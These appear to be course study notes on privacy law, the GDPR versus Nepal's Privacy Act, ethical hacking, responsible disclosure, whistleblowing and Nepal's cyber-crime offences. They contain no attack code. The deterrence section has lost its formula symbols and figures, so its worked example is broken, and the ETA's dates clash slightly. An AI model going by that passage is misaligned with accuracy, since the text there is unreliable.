- a) Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b) Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2081 Bhadra Q6 · 10
8.4Privacy and data protection
Privacy and data protection: the concepts and the principles PREDICTED
Privacy is not security. Security protects all data from unauthorised access; privacy asks whether even authorised use of personal data is appropriate. A company can have security without privacy (a well-guarded database whose owner sells the contents), but not privacy without security. Confidentiality is the security property privacy leans on hardest.
Terms
- Personal data: any information about an identified or identifiable person: name, citizenship number, phone number, address, photograph, location, IP address.
- Sensitive (special category) data: data whose misuse hurts most: health, religion, caste or ethnicity, political views, sexual orientation, biometrics, and in Nepal's Privacy Act also property details.
- Data subject: the person the data is about. Controller: the organisation that decides why and how data is processed. Processor: one that processes it on the controller's behalf, such as a cloud provider.
Principles of data protection
The OECD privacy guidelines of 1980 set eight principles that most later laws, the GDPR and Nepal's Privacy Act among them, build on:
| Principle | Meaning | Example |
|---|---|---|
| Collection limitation | collect only what is needed, lawfully, with knowledge or consent | a hostel form asks for a phone number, not a citizenship scan |
| Data quality | data relevant, accurate, complete and up to date | wrong addresses are corrected on request |
| Purpose specification | state the purpose when collecting | "your number is used for exam alerts" |
| Use limitation | no other use without consent or legal authority | exam contact numbers are not sold to a telecom for marketing |
| Security safeguards | protect against loss, access, misuse | encryption, access control, backups |
| Openness | be open about practices and policies | a published privacy notice |
| Individual participation | people can see and correct their data | a student downloads and corrects her record |
| Accountability | the controller answers for compliance | a named data protection officer |
Privacy by design (Ann Cavoukian) builds privacy into a system from the start instead of adding it later: be proactive, make privacy the default setting, embed it in the design, keep full functionality, secure data end to end, stay visible and transparent, and respect the user.
Privacy-enhancing techniques: data minimisation; anonymisation (identifiers removed for good); pseudonymisation (identifiers replaced by tokens that only a separately held key can reverse); encryption; role-based access; retention limits with secure deletion; consent management.
Privacy impact assessment (lab 16)
A privacy impact assessment (PIA; a DPIA under the GDPR, Article 35) checks how a new system will affect people's privacy before it goes live:
- Screen: decide whether one is needed (new or sensitive personal data, monitoring, new technology).
- Describe the processing: map what data, whose, why, where it is stored, who can access it, and for how long.
- Consult data owners, IT, security, legal and, where possible, the people affected.
- Assess necessity and legality: legal basis, consent, proportionality.
- Identify and rate the risks to individuals: leaks, misuse, excessive collection, function creep.
- Plan mitigations: minimise, pseudonymise, encrypt, restrict access, set retention.
- Sign off, record and act, then review whenever the system changes.
Example: a college plans face recognition attendance. The PIA finds biometric (sensitive) data, a risk of leaks and of use beyond attendance. Mitigations: store templates instead of photos, encrypt them, delete them at graduation, tell students plainly, and offer ID cards as an alternative.
Nepal context. Article 28 of the Constitution of Nepal 2072 (2015) makes the privacy of a person's residence, property, documents, data, correspondence and character inviolable except as the law allows; the Privacy Act 2075 (2018) puts that right into detail (next card).
- Define privacy and data protection, and explain the core principles of data protection with examples. Describe the steps of a privacy impact assessment for a new system. Predicted, ch 8 Q4 · 5+5
Privacy laws: the GDPR, and Nepal's Privacy Act side by side PREDICTED
Seven principles (Article 5): lawfulness, fairness and transparency; purpose limitation; data minimisation; accuracy; storage limitation; integrity and confidentiality; and accountability, meaning the controller must be able to show that it complies.
Six lawful bases (Article 6): consent, contract, legal obligation, vital interests, public task, legitimate interests. Without one of them, processing is unlawful.
Rights of the data subject (Articles 12 to 22):
- To be informed and of access: know what is held, and get a copy.
- Rectification of inaccurate data.
- Erasure, the "right to be forgotten".
- Restriction of processing while a dispute is settled.
- Data portability: receive the data in a reusable format and move it to another provider.
- To object, including to direct marketing.
- Not to be subject to solely automated decisions, including profiling, that have legal or similar effects.
Duties of organisations: data protection by design and by default (Article 25); a data protection impact assessment for high-risk processing (Article 35); a data protection officer for public bodies and for large-scale monitoring or sensitive data (Article 37); notice of a personal data breach to the supervisory authority within 72 hours of becoming aware of it (Article 33), and to the people affected when the risk to them is high (Article 34); limits on transfers outside the EU. Fines reach EUR 20 million or 4% of worldwide annual turnover, whichever is higher (Article 83).
United States: no single privacy law, but sector laws:
- Fourth Amendment to the Constitution: the basis of privacy rights.
- Privacy Act 1974: limits federal agencies' disclosure of personal records without written consent.
- Electronic Communications Privacy Act (ECPA) 1986: makes it a crime to invade a person's electronic privacy by intercepting or accessing their communications.
- Health Insurance Portability and Accountability Act (HIPAA) 1996: strict security measures for hospitals, physicians and insurers to protect health information; the HITECH Act 2009 updated HIPAA, tightening its privacy and security requirements.
- Children's Online Privacy Protection Act (COPPA) 1998: websites that cater to children, or knowingly collect their data, need parental consent for those under 13.
- Gramm-Leach-Bliley Act (GLBA) 1999: financial data.
Nepal's Privacy Act 2075 (2018)
Act number 14 of 2075, authenticated on 2 Asoj 2075 (18 September 2018) and in force at once, sometimes called the Individual Privacy Act. It covers the privacy of body and family, residence, property, documents, data, correspondence, character and electronic means; the Individual Privacy Regulation 2077 (2020) adds procedure.
- Personal information (section 2) includes caste, ethnicity, religion, education, address, phone and email, citizenship, passport and other ID numbers, biometrics and criminal record.
- Consent and purpose: personal data is collected with consent and used only for the purpose it was collected for (section 12); collection for research or opinion surveys must state its time, content, purpose and how the data will be protected (section 23).
- No disclosure without consent of health, property, employment, family, biometric, signature, political or business details (section 12), except to a court or an investigator.
- Protection duty: a public body must guard the personal information it holds against unauthorised access, use, change, disclosure or transmission (section 25).
- Sensitive information (caste, ethnicity or origin, political affiliation, religious belief, health, sexual orientation, property details) must not be processed by a public body (section 27), with exceptions for health care and self-published data.
- Correction: a person may apply to correct wrong information (section 28).
- Electronic means: no one may obtain or pass on electronic information without authorisation or record a conversation without consent (section 19); CCTV never in toilets, bathrooms or changing rooms, and with a notice (section 20); no electronic surveillance or espionage (section 21); no drones to gather secret information (section 22).
- Enforcement: up to 3 years in prison or a Rs 30,000 fine or both (section 29); a complaint to the District Court within three months (section 30); compensation for the victim (section 31).
| Point | GDPR | Nepal's Privacy Act 2075 (2018) |
|---|---|---|
| Reach | personal data of people in the EU, any organisation worldwide | privacy of persons in Nepal; public bodies and body corporates holding personal information |
| Legal basis | six lawful bases | consent, or authority under law |
| Sensitive data | special categories, processing restricted | listed; public bodies may not process it |
| Rights | access, rectification, erasure, restriction, portability, objection, automated decisions | correction (section 28), compensation (section 31) |
| Regulator | an independent authority in each member state | none; complaint to the District Court |
| Breach notification | 72 hours to the authority | no duty |
| DPO, DPIA | required in defined cases | not required |
| Maximum penalty | EUR 20 million or 4% of worldwide turnover | 3 years' prison or Rs 30,000 or both |
The verdict: the Act gives privacy a legal footing and is strong on physical privacy (bodies, homes, CCTV, drones), but for data it lacks a regulator, breach notification and modern data subject rights (8.8). The deck puts it in four words: for Nepal, the Privacy Act 2075 and the Privacy Regulation 2077 (2020), but "no GDPR level act yet". Why the EU and the US regulate so differently is a matter of culture as much as law (ethics across cultures).
To remember it, picture a Nepali digital wallet that leaks its users' citizenship scans. Had those users been in the EU, the company would owe the regulator a notice within 72 hours and could face a fine of up to 4% of its worldwide turnover. In Nepal there is no regulator to tell and no 72-hour clock; each victim must take a complaint to the District Court within three months.
- Explain the core principles of the GDPR and the rights it gives to data subjects. How does Nepal's Privacy Act 2075 (2018) compare with it? Predicted, ch 8 Q5 · 5+5
8.5Ethical hacking and responsible disclosure
Ethical hacking: permission is the line between a test and a crime PREDICTED
| Type | Permission | Intent | Example |
|---|---|---|---|
| White hat | yes, written | defensive: find and report flaws | penetration tester, bug bounty hunter |
| Grey hat | no | not malicious, but breaks in uninvited, then discloses the flaw or asks for a fee | someone who probes a college portal and emails the administrator |
| Black hat | no | malicious: steal, extort, damage | a ransomware gang |
| Script kiddie | no | thrill, fame; uses others' tools without understanding them | defacing a website with a downloaded kit |
| Hacktivist | no | a political or social cause | DDoS against a government site |
| State-sponsored | from their own state only | espionage, sabotage | advanced persistent threat groups |
Inside an organisation the red team plays the attacker, the blue team defends and detects, and a purple team exercise has both working together so every attack teaches the defenders something.
Why permission is everything. Nepal's ETA section 45 punishes anyone who uses a computer to reach its programs or data without the owner's authorisation, or beyond the authorisation given, with up to Rs 200,000 or 3 years or both; the US Computer Fraud and Abuse Act is similar. Good intent is no defence: a grey hat commits the same offence as a black hat. The US Justice Department said in 2022 that it would not charge good-faith security research under its act, but Nepal's law has no such exception.
Before the first packet: authorisation, scope, rules of engagement
- Authorisation: written and signed by someone with authority over the systems (the owner, not merely a friendly employee), plus a non-disclosure agreement. Systems hosted by a third party, such as a cloud provider, need that party's rules respected too.
- Scope: exactly what is in and out: IP ranges, domains, applications, physical sites, staff (for social engineering), production or test systems, and the dates and hours.
- Rules of engagement: allowed techniques (for example no denial of service, no destructive exploits, social engineering only if agreed); how to treat personal data found (prove access with a record count or a screenshot, never download it); emergency contacts; a stop rule if a system crashes or a critical flaw appears; how evidence and the report are kept.
The engagement, step by step
- Pre-engagement: authorisation, scope, rules of engagement, contract.
- Reconnaissance: gather public information about the target (domains, staff, technology).
- Scanning and enumeration: live hosts, open ports, services, versions, known vulnerabilities.
- Gaining access: exploit chosen flaws within scope, with the minimum proof.
- Post-exploitation: privilege escalation or lateral movement only as far as needed to show impact.
- Reporting: findings, evidence, risk ratings and fixes, delivered confidentially; critical flaws reported at once.
- Clean-up and retest: remove test accounts and tools, then check the fixes.
Two published models. EC-Council's CEH lists five phases: reconnaissance, scanning, gaining access, maintaining access and covering tracks; an ethical hacker does not really hide, but documents everything and restores the systems. NIST SP 800-115 uses four: planning, discovery, attack, reporting. Chapter 7 treats penetration testing and vulnerability scanning as assessment methods; this card is about doing them ethically.
Ethical challenges (the notes' two, and more): consent, without which the work is illegal; privacy of confidential data found during a test, which must be handled with care; staying inside scope; honest reporting with no exaggeration or omission; conflicts of interest (a tester who also sells the fix); and releasing tools or exploits that criminals can reuse.
Example. A Kathmandu fintech hires testers. Scope: its mobile app API and two web servers; the core banking system is excluded; no denial of service; test accounts only. The testers find that changing an ID in an API call returns another user's statement. They stop, report it the same day as critical, and retest after the fix: a flaw that criminals would have used is closed without a single customer's data leaving the bank.
- What is ethical hacking, and how do white hat, grey hat and black hat hackers differ? Explain the steps of an ethical hacking engagement, from authorisation and scoping to reporting. Predicted, ch 8 Q6 · 4+6
Responsible disclosure: report privately, fix, then publish TOP 2/4
82 int · 81 Bh10
The dilemma. A researcher who finds a flaw has two bad options and one balanced one:
- Tell the public immediately (full disclosure): users are warned, and the vendor is forced to act, but attackers get a perfect roadmap before any patch exists; a zero-day is born.
- Tell the company privately, with no deadline, or tell nobody (non-disclosure): the company gets time to fix it and attackers are not helped, but a careless company may ignore the flaw or try to cover it up, and users stay exposed; the worst case is selling it to a broker.
- Responsible disclosure strikes a delicate balance between protecting users and giving the organisation a reasonable time to patch.
The process
- Find and verify with the minimum testing: prove the flaw, keep no data, touch no other users.
- Find the right contact: the organisation's security contact (a
security.txtfile, RFC 9116), its bug bounty programme, or a coordinator such as a national CERT. - Report privately, with enough detail to reproduce the flaw, and agree a timeline.
- The vendor acknowledges and triages the report within days.
- The fix is built and tested; an advisory is written and a CVE identifier assigned.
- The patch is released and users are told to update.
- Coordinated publication: details go public, crediting the researcher, so other developers learn from the mistake.
Deadlines keep vendors honest. Google's Project Zero gives vendors 90 days to fix, then publishes details 30 days after the patch (its "90+30" policy), and only 7 days when the flaw is already exploited in the wild. The CERT Coordination Center publishes 45 days after the first report, patch or not. ISO/IEC 29147 (disclosure) and ISO/IEC 30111 (handling inside the vendor) are the international standards.
| Model | When details go public | Good | Bad |
|---|---|---|---|
| Full disclosure | immediately | users warned; vendors pressed | attackers armed before a patch |
| Non-disclosure | never, or when the vendor chooses | no roadmap for attackers | vendors may never fix; flaws sold |
| Responsible (coordinated) | after the patch or at the deadline | fix first, then shared knowledge | users exposed during the window |
Duties on both sides. The researcher proves no more than needed, keeps no data, keeps quiet until publication, and never demands money under threat of publishing, which is extortion. The vendor publishes a disclosure policy, answers quickly, fixes, credits the finder, and does not threaten a good-faith researcher with lawyers. Bug bounty programmes formalise this with published scope, rewards and a promise not to sue.
Example. A student notices that changing the account number in a bank's web address shows another customer's balance. Irresponsible: she posts a video on social media, and within hours criminals are harvesting balances. Responsible: she stops after one check, emails the bank's security team, and agrees to their request for 60 days; the bank patches on day 55, and on day 61 she publishes a write-up crediting the bank, so other banks check their own sites.
- a. Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b. Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2082 internal Q6
- a) Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b) Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2081 Bhadra Q6 · 10
8.6Professional ethics
Professional ethics: the duties that come with privileged access PREDICTED
Ethical and professional issues: three standards in one person (the deck's slide): professionalism, the professional standard a profession sets; ethics, the common belief of a society; and morality, one's own personal belief. A security professional answers to all three, and to the law besides.
Why security needs it most. Clients hand security staff the keys to their systems: administrator accounts, logs full of personal data, knowledge of every weakness. A single dishonest or careless act can expose thousands of people, and it is often invisible to everyone else.
| Duty to | What it means | Example |
|---|---|---|
| Society | protect people and infrastructure; safety comes first | refuse to sign off a system known to endanger users |
| Employer or client (principals) | diligent, competent, honest, confidential service | report every finding, even embarrassing ones |
| Profession | keep standards and reputation high | keep certifications honest; mentor juniors |
| Colleagues and self | fairness, credit where due, honesty about one's own limits | decline a forensic job beyond one's skills |
Core principles
- Integrity and honesty: truthful reports and time sheets, no hidden incidents, no inflated credentials.
- Confidentiality: what is learned about a client's systems or staff stays private.
- Competence: work only in areas of competence (ACM 2.6) and keep skills current.
- Objectivity: avoid conflicts of interest: nobody audits their own work, and gifts from a vendor under evaluation are declined and declared.
- Least use of privilege: administrator rights are for assigned tasks, never curiosity.
- Lawfulness: act only with authorisation, respect privacy law.
- Accountability: own mistakes and report them.
The deck's next two topics sit on their own cards: why people act unethically and how deterrence stops them (next card), and the organisation's liability for what its people do, judged by due care and due diligence (the card after, and chapter 1).
Dilemmas at work
- Told to hide a breach. In 2016 attackers stole data on about 57 million Uber riders and drivers. The company's security chief had them paid USD 100,000 through the bug bounty programme and made them sign non-disclosure agreements; the breach was revealed only in November 2017, and in 2022 a US jury convicted him of obstructing a federal investigation and concealing a felony.
- Curiosity with privilege: an administrator who can read the director's mail may not.
- Illegal content found on a work laptop: preserve it and report through legal channels; never delete it quietly or pass it around.
- A new job: the old employer's data, tools and client lists stay behind.
The cost of a breach of ethics: dismissal, loss of certification, civil liability, and sometimes a crime. In Nepal, divulging someone's confidential matter learned in professional work is punishable under section 294 of the National Penal Code 2074 (2017) with up to one year or Rs 10,000 or both; the Privacy Act (section 18) forbids the same; and a person given access under the ETA who breaches confidentiality faces up to Rs 100,000 or 2 years or both (section 48).
- What is professional ethics in cybersecurity? A security analyst at a Nepali bank finds that a breach of customer data has been hidden from customers and the regulator, and her manager tells her to stay quiet. Explain her ethical and legal obligations and the steps she should take. Predicted, ch 8 Q7 · 4+6
Why criminals offend, and how deterrence stops them PREDICTED
The criminal's cost-benefit ratio
An economic model of cyber crime (Nir Kshetri, "The simple economics of cybercrimes", IEEE Security & Privacy, 2006), shown on the deck, says a person commits the crime when what he expects to gain outweighs what he expects to pay:
- , the monetary benefit for the attacker.
- , the psychological benefit: thrill, fame, revenge, the pleasure of the puzzle.
- , the cost of committing the crime: tools, time, effort.
- , the monetary cost of conviction: future lost opportunities and legal costs.
- , the probability of being apprehended and arrested.
- , the probability of conviction.
Read the right side carefully. The cost of conviction is multiplied by two probabilities, so a harsh penalty counts for little when arrest is unlikely. That is cyber crime's whole problem: attackers work from abroad and behind anonymity, and are small, and even a long sentence shrinks to a small expected cost.
The sum with numbers (made-up figures, in lakh rupees). A phishing gang expects from a campaign against wallet users, spends on its kit and time, and would lose each if convicted (three years of lost earnings, plus lawyers). With and , the right side is against 10 on the left: the crime pays. Better detection lifts to 0.5 and good evidence handling lifts to 0.8: . Add bank fraud checks that cut the takings to , and : the opportunist walks away.
The 10:80:10 model the deck recalls: 10 percent of people would never commit a crime, no matter what; 80 percent are opportunists; and 10 percent cannot be deterred, no matter what. Raising the probability of being caught and lowering the chance of success deters the 80 percent, and makes the task harder for the "evil 10". In a hostel, one in ten would never touch a roommate's unlocked laptop, one in ten would try whatever the lock; the eight in between look only when it is easy and nobody would know.
Three reasons people act unethically, three remedies
| Cause | What it is | Remedy |
|---|---|---|
| Ignorance | not knowing the rule. Ignorance of the law is no excuse, but ignorance of policies and procedures is (policy against law) | education first: design, publish and disseminate the organisation's policies and the relevant laws, have employees explicitly agree to abide by them, and keep reminding them through training and awareness programmes, which support retention and, one hopes, compliance |
| Accident | an honest mistake; people with the authorisation and privileges to manage information have the greatest opportunity to cause harm by accident | careful placement of controls that prevent accidental changes to systems and data: confirmations, least privilege, change control, backups |
| Intent | a criminal or unethical state of mind, the mens rea of 8.3; a legal defence is often built on whether the accused acted out of ignorance, by accident, or with intent to harm | litigation, prosecution and technical controls |
When laws and policies actually deter
Deterrents include laws, policies and technical controls, but laws and policies and their penalties deter only when three conditions are present together:
- Fear of the penalty: the penalty must matter. An informal reprimand or a verbal warning does not weigh like the threat of imprisonment or forfeited pay.
- Probability of being caught: there must be a strong possibility that people who commit illegal or unethical acts will be caught, and, as the class notes put it, they must believe they will be.
- Probability of the penalty being administered: the organisation must be willing and able to impose it.
The two models are one idea. Fear of the penalty is the size of , the chance of being caught is , and the chance that the penalty is really applied is . Take any one away and their product, the expected penalty, collapses to nothing.
To remember it, think of the helmet rule on a Kathmandu road. The fine is the fear of the penalty; a traffic police officer at every chowk is the probability of being caught; and the fine actually charged, with no let-off for knowing someone, is the penalty administered. Remove any one of the three, and the helmets come off.
- Explain the cost-benefit ratio for a criminal. How can an organisation deter unethical and illegal behaviour, and under what three conditions does deterrence work? Predicted, ch 8 Q14 · 4+6
Organisational liability: when the organisation pays for its people's acts PREDICTED
The deck's two questions frame it. What if an organisation does not support or encourage strong ethical conduct by its employees? And what if the organisation itself does not behave ethically? Either way the harm traces back to the organisation, and so does the bill.
Due care and due diligence
- Due care: the measures that make sure every employee knows what is acceptable and what is not, and the consequences of illegal or unethical actions: policies, training, signed agreements. An organisation that refuses to take them increases its liability; failing due care is negligence.
- Due diligence: a valid and ongoing effort to protect others: checking that the measures really work, and keeping them current (patching, audits, background checks, tested backups).
In one line: due care is doing the right thing; due diligence is checking, again and again, that it is still being done. The class notes say the same in other words:
- Due care is "doing what a reasonable person would do" in the situation: building a formal security structure of policies, standards and procedures. Failing to is negligence.
- Due diligence is the management of due care: the follow-through that shows it is practised, such as background checks, tested backups and verifying that patches are applied.
Chapter 1 teaches the pair as governance and the prudent person standard (due care and due diligence); here they decide who pays.
Legally defensible security
To obtain legal restitution when something bad happens, an organisation must be able to show three things:
- A crime was committed: logs, alerts and evidence of the act and the harm.
- The suspect committed it: evidence tied to a person, collected and kept with a chain of custody that a court will accept.
- It took reasonable efforts to prevent the crime: documented policies, controls and training, the record of its due care and due diligence.
Why the third matters: without it the victim organisation looks negligent, the defence blames the open door, and customers and regulators turn on the organisation instead of the criminal.
In Nepal's law. Section 57 of the ETA, on the deck's last page, applies the same logic to a company. An offence committed by a corporate body is deemed committed by the person chiefly responsible for running it at the time, unless that person proves it happened without his or her knowledge or despite all reasonable efforts to prevent it; and where it happened with the consent or knowledge, or through the negligence, of a director, manager, secretary or other responsible person, both the company and that person are liable. "All reasonable efforts" is due care and due diligence, written into the Act.
Two real cases. Equifax: a patched flaw in the Apache Struts framework was left unpatched on a customer portal for about two months in 2017, and data on about 147 million people was taken; in 2019 the company agreed to pay up to USD 700 million, the deck's settlement figure. Morrisons: in 2014 an internal auditor at the British supermarket chain, nursing a grudge, leaked the payroll data of almost 100,000 colleagues and was jailed. The staff sued the company; two courts held it liable for him, but in 2020 the UK Supreme Court did not, because he was pursuing a personal vendetta, not doing his job. Liability for an employee is the rule, with limits.
To remember it, think of a school bus. If the driver speeds and crashes, the parents sue the school as well as the driver. The school's defence is the speed governor it fitted, the driver's training and licence check, and the trip logs it kept: proof of reasonable efforts. That is legally defensible security.
- What is organisational liability? Explain due care, due diligence and legally defensible security, with an example. Predicted, ch 8 Q15 · 4+6
8.7Social responsibility in cybersecurity
Social responsibility: security as a duty to society PREDICTED
Why it is a duty. Payments, hospitals, power, water, elections and government services now run on computers, so a security failure harms people who never chose the system and cannot defend themselves. Professionals also know things the public does not. Hence the moral obligation to try to protect lives, which grows as cybersecurity becomes critical to public services.
The deck's three observations. The primary focus of cybersecurity is usually keeping an organisation's digital assets safe from theft, leakage or destruction, but there is a growing realisation that it reaches further. First, an organisation's security depends not just on itself but on an external community of suppliers, researchers and open-source developers. Second, it is not only organisations that suffer when breaches occur: the damage can be greater for their customers, employees and other third parties. Third, attacks on critical services around the world put people's lives at risk, so cybersecurity professionals have a moral obligation to try to protect lives.
The community at work. In March 2024 Andres Freund, an engineer at Microsoft, noticed that SSH logins on his test machine were taking about half a second too long, and traced the delay to a backdoor planted in xz Utils, a compression library maintained by volunteers and shipped with most Linux systems. A contributor had spent two years winning the maintainer's trust to slip it in; one curious outsider caught it before it reached the stable releases that most servers run.
Real harm to the public: WannaCry disrupted parts of the UK's National Health Service in May 2017, cancelling appointments; the Ukrainian grid attack of December 2015 left about 225,000 customers without power; the January 2023 DDoS on Nepal's Government Integrated Data Centre stopped immigration clearance at Tribhuvan International Airport and delayed international flights. Nepal Rastra Bank's Cyber Resilience Guidelines 2023 treat cyber risk as a threat to financial stability and public confidence, not only to one bank.
How professionals and organisations fulfil it
| Practice | What it looks like |
|---|---|
| Protect critical services first | patch and monitor what keeps people alive or paid: hospitals, power, banks, emergency lines |
| Share threat information | indicators and warnings shared with CERTs, sector groups and the National Cyber Security Centre (threat intelligence) |
| Raise awareness | teach phishing, scam and password hygiene to families, schools, small businesses |
| Protect vulnerable users | children, the elderly, and women facing online harassment, which Nepal's ETA section 47 has covered since 2072 |
| Build secure, privacy-respecting products | secure defaults, data minimisation, honest breach notification |
| Disclose responsibly | report others' flaws privately; fix reported flaws fast (8.5) |
| Refuse harmful work | no spyware for illegal surveillance, no tools built for abuse |
| Respect rights | security measures must not turn into censorship or mass surveillance |
| Speak up | report wrongdoing through proper channels, as a whistleblower if necessary (next card) |
Organisations make it part of corporate social responsibility: transparent breach notices, bug bounty programmes, support for national CERTs, free training, open-source contributions, and publishing how often governments ask them for users' data.
Security against rights. Social responsibility cuts both ways. Nepal's directive on managing social media 2080 (2023) required platforms to register; TikTok was banned from November 2023 to August 2024, and the block of 26 unregistered platforms on 4 September 2025 set off the Gen Z protests that brought down the government within days. A responsible professional weighs public safety against free expression and privacy, and says so when a measure goes too far.
Example. A hospital's IT officer sees a ransomware group exploiting a flaw in the hospital's VPN. Patching needs an unscheduled night of downtime that management dislikes. Social responsibility decides it: patients' safety outweighs one night's inconvenience, so the patch goes in, and the indicators are shared with the national CERT so other hospitals can act too.
- What is social responsibility in cybersecurity? Discuss how security professionals and organisations can fulfil it, with examples. Predicted, ch 8 Q8 · 4+6
Whistleblowing, and protecting the person who does it TOP 2/4
82 int · 81 Bh10
A grey area. The whistleblower is disloyal to the employer, but for the sake of a moral obligation to the public interest. It is not about a technical bug, as responsible disclosure is, but about the organisation itself behaving badly. Reporting is considered socially responsible when the issue genuinely concerns the public. Cultures weigh it differently: legally protected and ethically encouraged in the UK and the US, but often seen as betrayal of the group in Japan (ethics across cultures).
Channels, in the usual order
- Internal: the manager, then the information security officer, compliance, an ethics hotline, the audit committee or the board.
- External, to an authority: a regulator (Nepal Rastra Bank for a bank), the police, an oversight body.
- Public, as a last resort: the media, when proper channels have failed and the danger is serious.
Good practice for the whistleblower: keep to facts, keep evidence of the wrongdoing only (not other people's personal data), use the proper channel, and keep a record of each report.
| Point | Whistleblower | Leaker | Malicious insider |
|---|---|---|---|
| Motive | public interest | varies: conscience, politics, attention | revenge, money |
| Goes to | an authority that can act | the media or the internet | a competitor, a criminal, the dark web |
| Discloses | evidence of the wrongdoing | often large sets of documents | trade secrets, customer data, credentials |
| Law's view | protected when in good faith and through proper channels | disputed, often prosecuted | a crime (insider threat) |
Protection in law
- Nepal: the Right to Information Act 2064 (2007), section 29, makes it the responsibility of an employee of a public body to report ongoing or likely corruption, irregularities or offences; the receiver must keep the whistleblower's identity confidential; the whistleblower may not be removed from office, punished or harmed for it; and if harmed may complain to the National Information Commission, which can order the decision revoked and compensation paid. Nepal has no comprehensive whistleblower Act, so private sector employees have no equivalent statutory shield.
- United States: the Whistleblower Protection Act 1989 (federal employees), the Sarbanes-Oxley Act 2002 (employees of listed companies who report fraud) and the Dodd-Frank Act 2010 (rewards through the securities regulator).
- European Union: Directive (EU) 2019/1937 requires safe internal and external reporting channels and bans retaliation.
Inside an organisation, protection means a written whistleblowing policy, an anonymous hotline, independent investigation, a strict ban on retaliation, and feedback to the reporter.
Examples. A security engineer at a car maker finds managers deliberately skipping a critical safety patch in the car's software to save money. Told to keep quiet, she reports it to the transport safety regulator; protection means the company cannot fire her for it. In 2021 Frances Haugen, a former Facebook product manager, gave internal research to US regulators and Congress and testified before the Senate. Edward Snowden's 2013 disclosure of US mass surveillance shows the grey area: a whistleblower to many, a criminal leaker to the US government, which charged him under the Espionage Act.
- a. Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b. Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2082 internal Q6
- a) Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b) Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2081 Bhadra Q6 · 10
8.8Cyber law in the context of Nepal
Cyber law in Nepal: the Constitution, the ETA and its computer offences HOT 1/4
82 Bh10
The Constitution of Nepal 2072 (2015) sets the frame. The deck names three of its rights: privacy (Article 28, which makes the privacy of a person's residence, property, documents, data, correspondence and character inviolable except in accordance with law), information (Article 27), and freedom of opinion and expression (Article 17(2)(a)). The right to communication (Article 19) bars prior censorship of publication and broadcasting, electronic publication included.
Nepal's laws, area by area
The deck's slide on the relevant laws in Nepal groups them by area; the class notes and later Acts add the rest.
| Area | Law | What it adds |
|---|---|---|
| Core cyber and IT | Electronic Transactions Act 2063 (2008) | electronic records, digital signatures, computer offences (below) |
| Privacy and data protection | Privacy Act 2075 (2018); Individual Privacy Regulation 2077 (2020) | consent and purpose limits for personal data, CCTV and drone rules; up to 3 years or Rs 30,000 (8.4). No GDPR level Act yet |
| Constitutional and human rights | Constitution of Nepal 2072 (2015) | privacy, information, expression and communication (above) |
| Media, content and online expression | National Broadcasting Act 2049 (1993); Press and Publication Act 2048 (1991) | licensing of radio and television broadcasters; registration of newspapers and printing presses |
| Intellectual property | Copyright Act 2059 (2002); Patent, Design and Trademark Act 2022 (1965) | software protected as a work, for life + 50 years; patents, designs, trademarks (8.3) |
| Telecommunications and surveillance | Telecommunications Act 2053 (1997) | licenses telecom and internet providers through the Nepal Telecommunications Authority it sets up |
| Crime against privacy | National Penal (Code) Act 2074 (2017), in force from 17 August 2018 | recording others' conversations without consent (section 293, up to 2 years or Rs 20,000), divulging professional confidences (294), photographs without consent and morphed images (295, 296), opening letters or tapping phones (297), breaching privacy through electronic means (298, up to 2 years or Rs 20,000), annoying or threatening messages, electronic ones included (300); defamation (305, 306) |
| Commerce and banking | Electronic Commerce Act 2081 (2025); Banking Offence and Punishment Act 2064 (2008) | online sellers listed and customers' personal information kept confidential (section 12); unauthorised withdrawals and electronic payments |
| Whistleblowers | Right to Information Act 2064 (2007) | protection of whistleblowers in public bodies (section 29) |
The Electronic Transactions Act 2063 (2008)
Act number 27 of 2063, authenticated on 22 Mangsir 2063 (8 December 2006), replacing an ordinance of the same name; 80 sections in 12 chapters, with the Electronic Transactions Rules 2064 (2007) under it. The deck lists its four major areas: electronic transactions, computer crime, privacy and data protection, and digital signatures. In the text:
- Electronic records and digital signatures get legal recognition (chapters 2 and 3).
- A Controller licenses Certifying Authorities that issue digital signature certificates: Nepal's public key infrastructure (chapters 4 to 6), and government may use electronic records (chapter 7).
- Network service providers are not liable for third-party content they merely carry, unless they knowingly make illegal content available (sections 42 and 43).
- Computer offences (chapter 9), the tribunals (chapters 10 and 11), and miscellaneous provisions, procedure among them (chapter 12).
- Privacy and data protection is the thinnest of the four areas: a duty of confidentiality on those given access (section 48), plus the access and damage offences. Nepal's general privacy law is the Privacy Act 2075.
The ETA's computer offences (chapter 9)
The deck's assignment asks for exactly these provisions. Each offence from section 44 to 46 writes a guilty mind into its words, "knowingly", "with mala fide intention", "with an intention of" (mens rea), and every punishment is a maximum: a fine, prison, or both.
| Section | Offence (the deck's heading) | Maximum punishment |
|---|---|---|
| 44 | To pirate, destroy or alter computer source code, knowingly or with mala fide intention, where the law requires the code to be kept | 3 years or Rs 200,000 or both |
| 45 | Unauthorised access in computer materials: using a computer without its owner's authorisation, intending to reach its programs, information or data, or going beyond the authorisation given | Rs 200,000 or 3 years or both, by seriousness |
| 46 | Damage to any computer and information system: knowingly destroying, damaging, deleting, altering or devaluing information, intending wrongful loss | Rs 200,000 or 3 years or both |
| 47 | Publication of illegal materials in electronic form: material banned by law, against public morality or decent behaviour, spreading hate or malice, harming harmony between castes and communities, and (since 2072) teasing, harassing or insulting women | Rs 100,000 or 5 years or both; each repeat one and a half times the previous punishment |
| 48 | Confidentiality to divulge: a person given access under the Act breaching the confidentiality of records, correspondence or information | Rs 100,000 or 2 years or both, by degree |
| 49 | To inform a false statement: knowingly hiding facts from, or giving false statements to, the Controller or a Certifying Authority | Rs 100,000 or 2 years or both |
| 50 | Submission or display of a false licence or certificate: acting as a Certifying Authority without a licence, or publishing a false, suspended or revoked certificate | Rs 100,000 or 2 years or both, by seriousness |
| 51 | Not submitting prescribed statements or documents, or not keeping the required records safely (not on the deck) | Rs 50,000 |
